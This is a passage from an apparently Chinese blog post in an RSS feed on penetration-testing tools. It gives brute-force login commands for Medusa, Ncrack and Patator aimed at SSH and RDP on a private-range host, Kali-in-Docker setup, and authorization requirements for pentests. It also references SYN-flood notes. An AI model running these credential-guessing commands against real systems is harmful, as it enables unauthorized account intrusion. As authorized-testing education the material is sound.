&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# wrk 4 核 100 并发跑 30 秒&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;wrk -t4 -c100 -d30s https://api.example.com
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# k6 跑递增负载&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;k6 run --vus &lt;span class="m"&gt;100&lt;/span&gt; --duration 30s script.js
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;h3 id="五hydra-的现代替代medusa--ncrack--patator"&gt;五、&lt;code&gt;hydra&lt;/code&gt; 的&amp;quot;现代替代&amp;quot;：Medusa / Ncrack / Patator
&lt;/h3&gt;&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Medusa&lt;/strong&gt;（与 hydra 同期的同类工具，速度更快）：&lt;/li&gt;
&lt;/ul&gt;
&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;
&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;medusa -h 192.168.1.100 -u root -P password.txt -M ssh -t &lt;span class="m"&gt;4&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Ncrack&lt;/strong&gt;（Nmap 团队出品，&lt;strong&gt;对 RDP 优化好&lt;/strong&gt;）：&lt;/li&gt;
&lt;/ul&gt;
&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;
&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;ncrack -p &lt;span class="m"&gt;3389&lt;/span&gt; -U users.txt -P password.txt 192.168.1.100
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Patator&lt;/strong&gt;（Python 写，&lt;strong&gt;模块化&lt;/strong&gt;）：&lt;/li&gt;
&lt;/ul&gt;
&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;
&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;patator ssh_login &lt;span class="nv"&gt;host&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;192.168.1.100 &lt;span class="nv"&gt;user&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;root &lt;span class="nv"&gt;password&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;FILE0 &lt;span class="nv"&gt;0&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;password.txt
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;h3 id="六容器化的渗透测试"&gt;六、容器化的渗透测试
&lt;/h3&gt;&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;2024 大量渗透测试平台&lt;/strong&gt;把工具装在 &lt;strong&gt;Docker&lt;/strong&gt; 里，避免污染系统：&lt;/li&gt;
&lt;/ul&gt;
&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;
&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1
&lt;/span&gt;&lt;span class="lnt"&gt;2
&lt;/span&gt;&lt;span class="lnt"&gt;3
&lt;/span&gt;&lt;span class="lnt"&gt;4
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# Kali 容器（2024 官方 docker）&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;docker run -it --rm kalilinux/kali-rolling /bin/bash
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 里面装工具&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;apt install hydra nmap ncrack
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Kali Linux 2024.2&lt;/strong&gt; 容器镜像已经预装 600+ 工具。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;CN-Series&lt;/strong&gt;（Coalfire）：&lt;strong&gt;合规导向&lt;/strong&gt;的渗透测试发行版。&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="七合法授权的必要证据"&gt;七、合法授权的&amp;quot;必要证据&amp;quot;
&lt;/h3&gt;&lt;p&gt;2017 那篇强调&amp;quot;必须授权&amp;quot;。&lt;strong&gt;2024 视角下授权证据要更细&lt;/strong&gt;：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;渗透测试授权书&lt;/strong&gt;（RoE：Rules of Engagement）：
&lt;ul&gt;
&lt;li&gt;测试范围 IP 段&lt;/li&gt;
&lt;li&gt;测试时间段&lt;/li&gt;
&lt;li&gt;测试方法（白盒 / 黑盒 / 灰盒）&lt;/li&gt;
&lt;li&gt;紧急联系人&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;签字盖章&lt;/strong&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;2024 加码&lt;/strong&gt;：&lt;strong&gt;渗透测试要留&amp;quot;事故应急联系&amp;quot;&lt;/strong&gt;——一旦测试搞挂业务，能 5 分钟内联系到人恢复。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;2024 法规&lt;/strong&gt;：《网络安全法》要求&lt;strong&gt;关键信息基础设施&lt;/strong&gt;的渗透测试必须&lt;strong&gt;事前报备&lt;/strong&gt;（向公安网安部门）。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;源文档&lt;/strong&gt;：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;os/linux/第三方tools/safe/hydra/hydra.md&lt;/code&gt;（hydra 9.0 编译、完整参数表、SSH/FTP 爆破示例）&lt;/li&gt;
&lt;li&gt;&lt;code&gt;os/linux/第三方tools/safe/hping3/hping3.md&lt;/code&gt;（hping3 SYN flood 实战）&lt;/li&gt;
&lt;/ul&gt;</description></item></channel></rss>